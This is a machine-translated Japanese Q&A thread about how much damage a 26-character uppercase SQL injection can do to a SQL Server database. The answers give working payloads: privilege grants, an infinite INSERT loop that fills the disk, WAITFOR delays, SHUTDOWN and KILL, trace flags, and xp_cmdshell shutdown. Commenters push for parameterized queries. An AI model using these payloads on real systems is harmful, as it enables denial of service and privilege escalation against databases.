SQL Serverインジェクション-26文字でどれくらいのダメージがありますか?


21

SQL Serverデータベースへのインジェクション攻撃に対する回復力をテストしています。

dbのすべてのテーブル名は小文字であり、照合は大文字と小文字を区別するLatin1_General_CS_ASです。

送信できる文字列は大文字に強制され、最大26文字の長さにすることができます。したがって、テーブル名が大文字になり、照合のためにステートメントが失敗するため、DROP TABLEを送信できません。

だから-私は26文字でできる最大のダメージは何ですか?

編集

パラメーター化されたクエリなどについてはすべて知っています。送信するクエリを作成するフロントエンドを開発した人が、この場合はparamsを使用しなかったとします。

また、私は悪意のあることをしようとはしていません。これは、同じ組織内の他の誰かによって構築されたシステムです。


1
私たちは想像しているのですか、それとも実際にペンテストをしていて、注射を避けられない要件がありますか?彼のセキュリティ不足を解消する方法を探していますか?
LowlyDBA

41
ドアを開けたままにするという選択肢さえあるのはなぜですか?これは、ドアを締めるのにかかる費用よりも、これを熟考するのにすでに多くの時間を費やしたようです。これは実りのない演習だと感じています。10個の脆弱性が見つかった場合、それらの10個の脆弱性をプラグインすると言いますが、11番目はありません。これは、「クレンジング」文字列が私たちを獲得した場所です。/ facepalm
アーロンバートランド

5
これは非常に曖昧でarbitrary意的な質問であり、理論的にも対処することはできません。他にもSQLインジェクションのネイティブの緩和機能(アクセス許可、サンドボックス、ファイアウォールなど)があり、この質問に答えるには、これらすべてを考慮する必要があります。
エヴァンキャロル

2
26文字の制限を強制するのは何ですか?アプリケーション?
ジョナサンファイト

7
やめて やめて パラメータ化されたクエリがリモートでオプションである場合は、それらを使用します。他の人がそれらの使用方法を知らない場合は、適切なリソースを見つけて読んでもらいます。耳を傾けない場合は、マネージャーまたはスーパーバイザーに重大なセキュリティ上の脆弱性が発生していることを通知し(非破壊的なデモは問題ありません)、教育を受けることを拒否します。
jpmc26

回答:


38

簡単:

GRANT EXECUTE TO LowlyDBA

または、この場合はそうなると思います

grant execute to lowlydba 

このバリエーションを選んでください。

おそらく現在のシステムに対してこれをテストできる可能性がありますが、時間の経過に伴うデータベースの小さな変更がいくつあっても、テストが無効になる可能性があります。文字列が変更される可能性があり、誰かが破壊的な潜在能力を持つ小文字のストアドプロシージャを作成する可能性があります。誰かが作成できる破壊的な26文字の攻撃がないことを100%自信を持って言うことはできません。

セキュリティ侵害が発生した場合に少なくとも部分的に責任があると私自身が判断した場合に限り、開発者が基本的な業界標準のベストセキュリティプラクティスに従うようにする方法を見つけることをお勧めします。

編集:

悪意/楽しみのために、すべてのトレースフラグを有効にしみてください。これを観察するのは興味深いでしょう。ブレント・オザールが作るブログ投稿のように感じます...

DBCC TRACEON(xxxx, -1)

1
トレースフラグを有効にするほか:様々なランダム設定の変更:SET LOCK_TIMEOUT 0;SET LANGUAGE Malaysian;SET ANSI_NULLS OFF:...
ypercubeᵀᴹ

2
@ypercubeᵀᴹそれらはすべてあなた自身のセッションにのみ影響します。
マーティンスミス

2
@martinSmith thnx。SETセッション設定のみに影響する場合、satabaseとサーバー設定の変更方法(ALTER DATABASE ...;?)DROP DATABASE ..;は、成功した場合よりも大きなダメージを与えます;)
ypercubeᵀᴹ18年

1
データベースとsp_configureを、主にDBレベルとサーバーレベルの設定に合わせて変更します。これらで26文字の制限に達するかもしれませんが。また、データベースレベルでのこれらの特定の設定は、クライアント接続で設定されていない場合にのみ使用されます。そして、デフォルトでほとんどまたはすべてが行います。
マーティンスミス

7
私はその発言に似ています。
ブレントオザー

22

SHUTDOWNコマンドまたはKILLコマンド(50以上の乱数を選ぶ)、両方のアプリケーションのクエリを実行するアカウントがうまくいけば、これらを実行するための十分な権限を持っていませんが、少ない26文字よりも大幅に取ります。


通常、アカウントはテーブルを削除する必要もありません...
グレッグ

3
@Gregうん。ただし、長さが短い限りSQLインジェクションを許可することを検討している環境はセキュリティのベストプラクティスに従っておらず、アカウントは最小限の権限で構成されていない可能性があります。
マーティンスミス

14

テーブルを作成して、時間の終わりまで、またはディスク領域が使い果たされるまでいっぱいになるテーブルを作成できます。

declare @S char(26);

set @S = 'create table t(c char(99))';
exec (@S);

set @S = 'insert t values('''')'
exec (@S);

set @S = 'insert t select c from t'
exec (@S);
exec (@S);
exec (@S);
exec (@S);
-- etc

19
@AlanBさて、あなたは私が脆弱性を複数回悪用するのを防ぐ何かが必要になるでしょう。
ミカエルエリクソン

1
tarnations ... while 1=1 insert t values('')is 30 ... create table x(i int)=> while 1=1 insert t select 0is 27
WernerCD

1
これを使用して、文字数制限より長いコマンドを作成し、それを実行できますか?
ロートンフォーグル

1
@MartinSmith私はこのままにしておくと思っていましたが、今は試してみるだけです:)。私がそれを理解するかどうかをお知らせします。
ミカエルエリクソン

7
ただし、@ WernerCD x:insert t select 0 GOTO xは正確に26です。
マーティンスミス

4

損傷の定義に応じて、次のコマンドを実行できます。WAITFOR DELAY '23:59 '本当に悪いのは、負荷テストツールを使用して32,768クライアントから実行することです。



1
文字列がロックを保持するアドホックバッチに挿入されると、スレッド不足を引き起こすことなく、実行可能なサービス拒否を単一の呼び出しとして提供できます。
デビッドスピレット

3

@MikaelErikssonの回答と私の最初のコメントに対する@MartinSmithの返信に基づくバリエーション:

declare @S char(26);

set @S = 'create table x(i int)';
exec (@S);

最初はWHILEステートメントを実行しようとしましたが、できることは27文字でした。

set @S = 'while 1=1 insert t select 0'; -- fails at 27 characters
exec (@S);

しかし、MartinはGOTOを指摘しました。

set @S = 'x:insert t select 0 GOTO x';
exec (@S);

GOTO ...すべての悪の根源であり、26文字の無限ループ挿入ステートメントの作成者。

そうは言っても... intの代わりにCHAR(99)を使用すると、より多くのスペースが使用されるため有利です。他のオプションでは、より長い名前を使用して26文字の制限を打ち破るか、行ごとのストレージ領域を少なくします。

完全なテストコード:

declare @S char(26);
set @S = 'drop table t;';
exec (@S);
GO

declare @S char(26);

set @S = 'create table t(c CHAR(99))';
exec (@S);

set @S = 'x:insert t select 0 GOTO x';
exec (@S);
GO

1
set @S = 'x:insert t;select 0;GOTO x';インジェクション攻撃の将来の互換性のため;)
ypercubeᵀᴹ18年

@ypercubeᵀᴹ2つ;のsを追加しました... 2番目は問題ありません-スペースを置き換え、必要なければ機能します。最初のクエリはクエリを中断します-INSERTステートメントをSELECTステートメントから分離します。
WernerCD

ああ、はい。それは、セパレーターを使用しない場合に起こることです!各クエリがどこで終了し、次のクエリがいつ開始されるかはわかりません!
ypercubeᵀᴹ

1
@WarnerCD私は知っています。これは、SQL Serverの減価償却手順に関する冗談でした。それは永遠にかかるようです。それでも、必要な場所だけでなく、ステートメント間でセミコロンを使用することをお勧めします。
ypercubeᵀᴹ

2
@yperそれが強制されることを疑います。おそらく、セミコロンを追加する必要があるレガシーコードが大量にあり、セミコロンを追加してもビジネス上の特別な価値はありません。また、更新が困難なアプリケーションや不可能なアプリケーションに埋め込まれている場合があります。
マーティンスミス

0
XP_CMDSHELL 'SHUTDOWN -PF'

パワーダウンがどの程度のダメージを与えるかを考慮してください。:-)

これには、サーバーでxp_cmdshellを有効にする必要があります。これは、SQL Serverの最後のいくつかのバージョンには当てはまりません。また、サービスアカウントがシャットダウン権を持っている必要があります。シャットダウン権は持っている場合と持っていない場合があります。

xp_cmdshellを有効にすると、おそらく26文字の制限を超えてしまいます。複数回の注射を許可しますか?

SP_CONFIGURE 'SHOW ADV',1

RECONFIGURE

SP_CONFIGURE 'XP', 1

RECONFIGURE

1
EXECは、これがバッチの最初のステートメントである場合のみオプションです。ここではおそらくそうではないでしょう。
マーティンスミス

@マーティン・スミス、良いコメント。EXECは、各プロシージャコール行に5文字を追加し、それらのほとんどを26文字以上にプッシュします。ここでCREATE ALIASが役立つのだろうか?
グリーンストーンウォーカー
弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.